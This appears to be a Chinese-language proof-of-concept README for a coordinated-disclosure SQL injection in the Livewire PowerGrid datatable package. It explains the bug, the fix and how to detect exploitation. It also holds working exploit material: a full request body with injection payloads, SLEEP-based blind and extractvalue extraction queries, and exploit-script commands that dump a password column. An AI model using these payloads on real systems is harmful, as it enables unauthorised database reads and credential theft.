sortDirection 在 Livewire PowerGrid 中实现 SQL 注入针对 CVE-2026-65971 / GHSA-7fgc-3h6c-698r 的概念验证及完整技术文档,
这是 power-components/livewire-powergrid 中的一个 SQL 注入漏洞,
可通过公开的 Livewire 属性 sortDirection 触发。
| CVE | CVE-2026-65971 |
| GHSA | GHSA-7fgc-3h6c-698r |
| 软件包 | power-components/livewire-powergrid (Composer / Packagist) |
| 受影响版本 | >= 6.0.0, < 6.10.4 |
| 已修复版本 | 6.10.4 |
| 弱点 | CWE-89 — 未正确中和 SQL 命令中使用的特殊元素 |
| 严重性 | 7.6 高危 — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L |
| 报告者 | Caio Fabrício (@BiiTts) |
| 披露方式 | 协调披露,通过 GitHub 私有安全公告 |
| ├── poc/exploit_powergrid_sqli.py working exploit — confirm + blind extraction | |
| ├── lab/ build the vulnerable app to reproduce it yourself | |
| ├── evidence/EVIDENCE.txt raw lab notes from confirmation | |
| ├── patch/security-fix-v6.10.4.diff the security-relevant portion of the official fix | |
| └── detection/ Sigma rules + Nuclei template for defenders |
---
## 🧠 概述
PowerGrid 是一个用于 Laravel + Livewire 的 datatable 组件(约 2k 星,广泛用于
Laravel 管理面板)。其排序状态存在于两个 **公共 Livewire 属性** 中:```php
public string $sortField = 'id';
public string $sortDirection = 'asc';
在 Livewire 中,公共属性是组件 wire 格式的一部分——任何能够访问该组件的客户端都可以通过 POST /livewire/update 设置它。这是设计使然;安全边界在于服务器如何处理该值。
PowerGrid 的 naturalSort() 特性会构建一个原始的 ORDER BY 表达式,其中包含字面占位符 {sortDirection};在将字符串交给 orderByRaw() 之前,管道会用 原始、未经验证的属性值 替换该占位符。因此,排序方向关键字会原样落入 SQL 中。
Laravel 自带的 orderBy() 会拒绝任何不是 asc/desc 的值,正是这种验证保证了普通排序路径的安全。问题在于,存在另一条未经验证的路径可到达同一个子句——攻击者可以完全绕过验证路径而触及它(参见 绕过方式)。
结果:ORDER BY 子句中出现任意 SQL,可被利用为盲布尔/时间型 oracle,读取数据库用户所能读取的任何数据。
任何能够访问使用了 naturalSort 的 PowerGrid 表格的人,都可以借助时间型/布尔 oracle 读取 数据库中的任意数据——其他表、密码哈希、会话令牌、API 密钥、跨租户记录。
SELECT 的任何内容均可完整读取。; UPDATE ... 不会执行。写入影响仅限于子查询能够触发的内容。SLEEP() 和重型子查询——可轻易滥用来占用数据库线程。所需权限为 PR:L,因为数据表格通常位于应用身份验证之后。如果受影响的表格渲染在 未认证 的页面上,请按 PR:N 重新计算 → 8.2 高。
三个文件,三个阶段。所有引用均针对易受攻击的标签 v6.10.3。
`src/Concerns/Sorting.php````php public string $sortField = 'id'; // line 11 public string $sortDirection = 'asc'; // line 13
这两个属性都没有白名单、验证规则或规范化设置器。`sortDirection` 只会被赋值或翻转:```php
public function reverseSort(): string // line 37
{
return $this->sortDirection === 'asc' ? 'desc' : 'asc';
}
updatedSortDirection()(第 103 行)确实存在——它是进行校验的自然位置——但在 v6.10.3 中,它仅处理懒加载的簿记工作,从未检查该值。
由于 Livewire 直接从请求中水合公共属性,因此此时 sortDirection 完全由攻击者控制,可作为任意字符串。
naturalSort() 植入占位符src/Providers/Macros.php,第 102–116 行 — naturalSort 列宏:```php
Column::macro('naturalSort', function (bool $when = false, ?string $tableName = null): Column {
$this->enableSort();
if ($when) {
$this->rawQueries[] = [
'method' => 'orderByRaw', // <-- raw sink
'sql' => Sql::sortStringAsNumber($this->dataField),
'bindings' => [],
];
}
return $this;
});
`Sql::sortStringAsNumber()` 解析为 `getSortSqlByDriver()` 在 `src/DataSource/Support/Sql.php`
(第 60–100 行)中构建的按驱动(per-driver)表达式。每个驱动变体
都以相同的字面占位符结尾:```php
$default = "$sortField+0 {sortDirection}"; // line 76
'8.0.4' => "CAST(NULLIF(REGEXP_REPLACE($sortField, '[[:alpha:]]+', ''), '') AS SIGNED INTEGER) {sortDirection}", // MySQL, line 81
'0' => "CAST($sortField AS INTEGER) {sortDirection}", // SQLite, line 84
'0' => "CAST(NULLIF(REGEXP_REPLACE($sortField, '\D', '', 'g'), '') AS INTEGER) {sortDirection}", // PgSQL, line 87
'0' => "CAST(SUBSTRING(...) AS INT) {sortDirection}", // SQL Server, line 90
该漏洞是与驱动无关的 — 每个分支都会插值 {sortDirection}。
`src/DataSource/Processors/Database/Pipelines/ColumnRawQueries.php````php private function resolvePlaceholders(?string $sql): ?string // line 56 { if (is_null($sql)) { return null; }
return preg_replace_callback('/\{(\w+)\}/', function ($matches) {
$property = trim($matches[1]);
return data_get($this->component, $property, ''); // line 65 — raw property, no escaping
}, $sql);
}
以及执行,第 52 行:```php
$query->{$method}($resolvedSql, $resolvedBindings); // $method === 'orderByRaw'
data_get($this->component, 'sortDirection') 返回攻击者的字符串,preg_replace_callback
将其拼接到 SQL 文本中,而 orderByRaw() —— 按契约规定不会转义其
参数 —— 将其传递给数据库。
请注意下面一行中残酷的讽刺:resolveBindings()(第 69 行)存在,而且 naturalSort
声明了 'bindings' => []。安全参数化的机制近在眼前。它不能
用于方向关键字 —— ORDER BY x ? 不是有效的 SQL,方向永远不能是绑定
参数 —— 这正是方向关键字必须被列入允许列表的原因。
POST /livewire/update ──▶ public string $sortDirection (Sorting.php:13, no validation) ──▶ data_get($component, 'sortDirection') (ColumnRawQueries.php:65) ──▶ "CAST(...) {sortDirection}" → "CAST(...) asc, (SELECT SLEEP(3))" ──▶ orderByRaw($sql) (ColumnRawQueries.php:52) ──▶ MySQL/MariaDB/PgSQL/SQLite/MSSQL
---
## 🔓 绕过方式 —— 为什么 Laravel 的验证救不了你
这是将“原始字符串插值”变成真正可利用漏洞的部分,也是该问题能在一个成熟、广泛使用的包中长期存在的原因。
PowerGrid 通过一条**管道(pipeline)**处理查询。管道中有两个阶段涉及排序方向:
**`Sorting` 管道** — `src/DataSource/Processors/Database/Pipelines/Sorting.php`:```php
public function handle(mixed $query, Closure $next): mixed
{
// ...
if (filled($this->component->sortField)) { // line 21 <-- THE GUARD
if ($this->component->multiSort) {
$this->applyMultipleSort($query);
} else {
$this->applySingleSort($query, $this->component->sortField, $this->component->sortDirection);
}
}
return $next($query);
}
private function applySingleSort(..., string $sortField, string $direction): void
{
// ...
$query->orderBy($this->component->resolveSortField($sortField), $direction); // line 42
}
orderBy() 是 Laravel 的 校验型 API。给它 asc/desc 以外的任何值,它
都会抛出异常:```
InvalidArgumentException: Order direction must be "asc" or "desc".
所以在正常路径下——用户点击列标题,`sortField=name`,`sortDirection=<payload>`——框架会阻止注入。快速审计到此为止,并得出结论“已由 Laravel 缓解”。
**`ColumnRawQueries` 管道**——上面所示的第二阶段——**没有这样的防护**。看一下它的 `handle()`(第 21–27 行):它遍历所有列,并且对每一个携带 `rawQueries` 的列都*无条件地*应用它们。它从不检查 `sortField`。它从不检查 `Sorting` 管道的结果。
这种不对称性就是漏洞所在:
| `sortField` | `Sorting` 管道 | `ColumnRawQueries` 管道 | 结果 |
|---|---|---|---|
| `"name"`(已填充) | 运行 → `orderBy()` **验证** → 对负载抛出异常 | 运行 → 注入 | ❌ 被异常阻止 |
| `""`(空) | `filled('')` 为 `false` → **完全跳过** | 运行 → 注入 | ✅ **注入成功** |
将 **`sortField` 设置为空字符串** 会使验证阶段跳过自身,而原始阶段仍然会在其中包含攻击者的 `{sortDirection}` 的情况下发出 `naturalSort` `ORDER BY`。Laravel 的验证永远不会被调用,因为包含它的代码路径永远不会执行。
**因此,完整的攻击涉及两个字段,而不是一个:** `sortDirection` 携带负载,而 `sortField=""` 是解锁大门的钥匙。
---
## 🎯 精确字段
所有操作都通过 Livewire 的标准更新端点进行。没有特殊请求头,没有自定义路由,没有管理员功能。
**端点:** `POST /livewire/update`
**请求体(JSON):**```json
{
"_token": "<CSRF token from the page>",
"components": [
{
"snapshot": "<wire:snapshot of the PowerGrid component, taken from the rendered HTML>",
"updates": {
"sortField": "",
"sortDirection": "asc, (SELECT SLEEP(3))"
},
"calls": []
}
]
}
生成的 SQL(MariaDB 实验环境,rooms 表,name 列使用 naturalSort):```sql
select * from rooms
order by CAST(NULLIF(REGEXP_REPLACE(name, '[[:alpha:]]+', ''), '') AS SIGNED INTEGER) asc, (SELECT SLEEP(3))
limit 3 offset 0
载荷位于 `ORDER BY` 列表的一个完整表达式槽位中,这就是为什么裸子查询可以生效,以及为什么该子句仍然是合法 SQL 的原因。
---
## 🔬 它是如何被发现的——穿过代码的路径
下面这个顺序是实际推理的顺序,包括那一步几乎让整个调查以“误报”结束的步骤。
**1. 先看攻击面:Livewire 公共属性就是攻击者输入。**
框架自身的模型认为,组件上的每个 `public` 属性都可以通过 `/livewire/update` 由客户端写入。因此,对任何 Livewire 包的审计问题都不是“是否存在用户输入?”,而是“哪些公共属性会到达危险的汇点?”。枚举了 PowerGrid 的公共属性;`$sortField` 和 `$sortDirection` 脱颖而出,因为它们正是为了被拼接进 SQL 而存在的。
**2. 跟踪它们到每一个汇点。** 在包中搜索了原始 SQL API——`orderByRaw`、`whereRaw`、`selectRaw`、`havingRaw`、`DB::raw`——并寻找任何可能接收这些属性的地方。`Macros.php` 中 `naturalSort` 的 `'method' => 'orderByRaw'` 就是命中点。
**3. 找到属性与汇点之间的联系。** `Sql.php` 中的原始 SQL 并没有引用 `$this->sortDirection`;它包含的是字面字符串 `{sortDirection}`。这种模板化意味着某处存在解析器。搜索大括号模式,找到了 `ColumnRawQueries::resolvePlaceholders()` 及其 `data_get($this->component, $property, '')`——一个没有任何转义的通用属性读取器。现在,源头和汇点已连接起来。
**4. 几乎终结调查的那一步:缓解措施。** 第一次实际尝试——将 `sortDirection` 设置为一个载荷并触发——产生的不是泄露,而是
`InvalidArgumentException: Order direction must be "asc" or "desc".` Laravel 的 `orderBy()` 捕获了它。这里诱人的结论是 *“框架有缓解措施,不可利用”*,而这个结论本来是错误的。
**5. 追问异常来自哪里,而不只是它发生了。** 堆栈跟踪指向了 `Sorting` 管道的 `orderBy()`——这是与第 2 步中识别出的 `orderByRaw()` 汇点 **不同的阶段**。两个阶段,两次独立的写入进入同一个 `ORDER BY`,只有其中一个做了校验。这把问题从“我能击败 Laravel 的校验器吗?”(不能——它是一个严格比较)重新定义为 **“我能绕过执行校验阶段,直接到达原始 SQL 阶段吗?”**
**6. 阅读守卫。** 校验阶段运行在 `if (filled($this->component->sortField))` 之下。`filled('')` 为 `false`。原始 SQL 阶段则完全没有守卫。绕过是直接的结果:发送 `sortField=""`,只有未加守卫的阶段会运行。
**7. 用两种独立技术,两次实证确认。** 单个阳性信号不算发现——时间差可能是速率限制器,错误可能是一般的 500。在判定确认之前,既需要基于错误的证明(数据库将注入的子查询原样回显),也需要基于时间的布尔预言机(在真实数据上区分 TRUE 和 FALSE)。参见 [证据](#-证据)。
**可推广的要点:** 框架级别的缓解措施只保护它所位于的代码路径。当两个管道阶段写入同一个 SQL 子句时,“框架已经做了校验”只是对其中一个阶段的断言。始终要问:校验实际上位于哪个阶段,危险的阶段能否单独运行。
---
## 🧪 证据
实验室:Laravel 11.53 + Livewire 3.8 + livewire-powergrid 6.10.3 + MariaDB,带有一个 `RoomTable` PowerGrid 组件,其 `name` 列声明了 `->naturalSort(true)`,以及一张持有 `secret` 列的 `rooms` 表。完整实验室见 [`lab/`](https://github.com/biitts/poc-cve-2026-65971/blob/HEAD/lab/)。
**基于错误——注入的子查询原样到达数据库**(HTTP 500,`SQLSTATE[HY000] 1105`):```sql
select * from `rooms` order by CAST(NULLIF(REGEXP_REPLACE(name, '[[:alpha:]]+', ''), '') AS SIGNED INTEGER) asc,
(select extractvalue(1, concat(0x7e, (select secret from rooms limit 1))))
limit 3 offset 0
数据库解析并执行了攻击者在 ORDER BY 中提供的 SELECT。这是注入的明确证据——错误文本包含的是已执行的注入 SQL,而非提交的原始内容。
基于时间的盲注 — 任意数据提取:``` asc -> 0.02s baseline asc, (SELECT SLEEP(3)) -> 9.04s injection executes asc, (SELECT SLEEP(3) WHERE (SELECT secret FROM rooms LIMIT 1) LIKE 'TOPSECRET%')-> 9.03s TRUE — value leaks asc, (SELECT SLEEP(3) WHERE (SELECT secret FROM rooms LIMIT 1) LIKE 'ZZZ%') -> 0.02s FALSE — oracle is sound
TRUE/FALSE 对正是将“某事物变慢”升级为“我能读取你的数据”的关键:
相同的请求形态会根据攻击者无法看到的某个值上的条件,返回两个清晰分离的时序。
这就是一个可用的 oracle,而 `poc/exploit_powergrid_sqli.py`
会逐字符遍历它。
> `SLEEP(3)` 产生约 9 秒而非约 3 秒的延迟,因为排序会对多行应用休眠表达式——
> 这是一个更强、而非更弱的信号。
原始记录:[`evidence/EVIDENCE.txt`](https://github.com/biitts/poc-cve-2026-65971/blob/HEAD/evidence/EVIDENCE.txt)。
---
## ⚙️ 概念验证
无依赖,仅使用 Python 3 标准库。```bash
python3 poc/exploit_powergrid_sqli.py http://127.0.0.1:8001/rooms
它将:
GET 页面并抓取 CSRF token 以及 PowerGrid 组件的 wire:snapshot;sortDirection=asc 请求作为基线;sortField="" / sortDirection="asc, (SELECT SLEEP(3))" 并比较计时结果;有用的标志:```bash
python3 poc/exploit_powergrid_sqli.py http://target/rooms --check-only
python3 poc/exploit_powergrid_sqli.py http://target/rooms --table users --column password --length 20
python3 poc/exploit_powergrid_sqli.py http://target/admin/rooms --cookie "laravel_session=..."
针对已修补的 `6.10.4` 目标,脚本报告无时间差并干净退出 — 白名单将每个 payload 折叠为 `asc`。
---
## ✅ 修复分析(`v6.10.4`)
维护者提供了**跨四个调用点的纵深防御** — 这是此类 bug 的正确形态。该原语:```php
// src/DataSource/Support/Sql.php
public static function sanitizeSortDirection(?string $direction): string
{
$direction = strtolower(trim((string) $direction));
return in_array($direction, ['asc', 'desc'], true) ? $direction : 'asc';
}
严格的白名单并带有安全默认值——不是黑名单,不是转义,也不是正则表达式。对于无法作为绑定参数的关键字,这是唯一正确的控制方式。
应用于:
ColumnRawQueries::resolvePlaceholders() —— 汇聚点(sink)。{sortDirection} 现在被特殊处理,仅通过 sanitizeSortDirection() 解析,而绝不通过通用的 data_get()。Concerns\Sorting::updatedSortDirection() —— Livewire 钩子。在写入时进行净化,因此该属性本身不再可能持有恶意载荷。Concerns\Sorting::sortBy() —— 对方向参数进行净化。Pipelines\Sorting::applySingleSort() / applyMultipleSort() —— 覆盖用户提供的 sortUsing 回调,这些回调可能自行构建 orderByRaw。这封堵了最初报告之外的第二条相关路径。新增了回归测试:tests/Feature/SortDirectionInjectionTest.php 和一个 DishesNaturalSortTable fixture。
补丁验证在已发布的标签上执行(而非仅凭承诺):克隆了 v6.10.4,逐一检查了每个原始方向汇点,运行了测试套件(30/30 通过),并用 17 种载荷对 sanitizeSortDirection() 进行了模糊测试——包括公告中的基于时间载荷、空字节、SQL 注释、十六进制字面量、混合大小写、空白填充、Unicode。所有这些最终都归约为 asc 或 desc。其余汇点(通过 WithExport/ExportableJob 导出、Scout)走的是经过验证的 orderBy() 而非 orderByRaw(),因此不可注入。
结论:已修复(PATCHED)。
该 diff 中与安全相关的部分位于 patch/。
composer require power-components/livewire-powergrid:^6.10.4 composer audit
**升级——不要试图绕过它。**如果你今天确实无法升级,临时
缓解措施是对组件本身进行净化:```php
public function updatedSortDirection(): void
{
$this->sortDirection = in_array(strtolower(trim($this->sortDirection)), ['asc', 'desc'], true)
? strtolower(trim($this->sortDirection))
: 'asc';
}
这是一个临时解决方案。请升级。
前提条件是至少有一列声明了 naturalSort:```bash
grep -rn "naturalSort" app/ resources/
没有 `naturalSort` 列意味着原始的 `ORDER BY` 永远不会被注册,主要攻击路径无法触达。请注意,`v6.10.4` 还加固了 `sortUsing` 回调路径——如果你的自定义排序回调根据方向参数构建原始 SQL,那么无论有没有 `naturalSort`,你也会通过该路径暴露风险。
### 检测利用
该攻击看起来就是一个普通的 Livewire 请求;没有异常的端点或方法可供告警。请关注 `sortDirection` 的**值**——合法流量只发送 `asc` 或 `desc`。
其他任何值按定义都是异常的。实用信号如下:
- `POST /livewire/update`,其 JSON 请求体中的 `"sortDirection"` 取值不是
精确的 `asc`/`desc`(不区分大小写)——高保真,误报率几乎为零;
- 同一请求同时携带 `"sortField":""`(空值)和非平凡的 `sortDirection`——
这正是绕过特征;
- 该值中包含 SQL 关键字:`SELECT`、`SLEEP`、`BENCHMARK`、`extractvalue`、`updatexml`、`0x`;
- 应用程序错误日志中出现引用 `order by` 的 `SQLSTATE[HY000] 1105` 或 `SQLSTATE[42000]`;
- 大量同形状的 POST 请求,响应时间呈双峰分布(快/慢)——说明一个盲注 oracle
正在被逐步探测。
[`detection/sortdirection-sqli.yml`](https://github.com/biitts/poc-cve-2026-65971/blob/HEAD/detection/sortdirection-sqli.yml) 中提供了两条 Sigma 规则——
一条针对请求体,另一条针对数据库错误特征,用于在请求体日志不可用时使用。用于标记可触达 PowerGrid 组件(前提攻击面)的 Nuclei 模板位于 [`detection/nuclei-powergrid-sortdirection-sqli.yaml`](https://github.com/biitts/poc-cve-2026-65971/blob/HEAD/detection/nuclei-powergrid-sortdirection-sqli.yaml);任何命中请使用 `poc/exploit_powergrid_sqli.py --check-only` 进行确认。
---
## 📚 参考资料
- GitHub 安全公告 — [GHSA-7fgc-3h6c-698r](https://github.com/Power-Components/livewire-powergrid/security/advisories/GHSA-7fgc-3h6c-698r)
- NVD — [CVE-2026-65971](https://nvd.nist.gov/vuln/detail/CVE-2026-65971)
- 修复版本 — [`v6.10.4`](https://github.com/Power-Components/livewire-powergrid/releases/tag/v6.10.4)
- 修复差异 — [`v6.10.3...v6.10.4`](https://github.com/Power-Components/livewire-powergrid/compare/v6.10.3...v6.10.4)
- CWE-89 — [SQL 命令中使用的特殊元素未正确中和](https://cwe.mitre.org/data/definitions/89.html)
- Livewire — [属性可由客户端写入](https://livewire.laravel.com/docs/properties#security-concerns)
---
## ⚖️ 法律声明
本内容在协同披露、补丁发布以及厂商公开公告之后发布。PoC 针对 [`lab/`](https://github.com/biitts/poc-cve-2026-65971/blob/HEAD/lab/) 中的本地实验环境,旨在帮助防御者验证自身的暴露面,并供研究人员研究此类漏洞。对未经授权测试的系统运行它属于违法行为。你需对自己使用它的行为负责。
---
**Caio Fabrício** — [@BiiTts](https://github.com/BiiTts) · [LinkedIn](https://www.linkedin.com/in/caio-fabrício-b978131b5/)
| 字段 | 角色 | 值 |
|---|
components[0].updates.sortDirection | 注入点 | SQL 载荷,前面加上一个有效方向,使子句保持语法完整 |
components[0].updates.sortField | 绕过键 | "" — 空值,用于跳过校验用的 Sorting 管道 |
components[0].snapshot | 基础管道 | Livewire 组件状态;从页面 HTML 中的 wire:snapshot="..." 抓取(需要 HTML 反转义) |
_token / X-CSRF-TOKEN | 基础管道 | 从页面中的 data-csrf="..." 或 "csrf":"..." 数据块抓取 |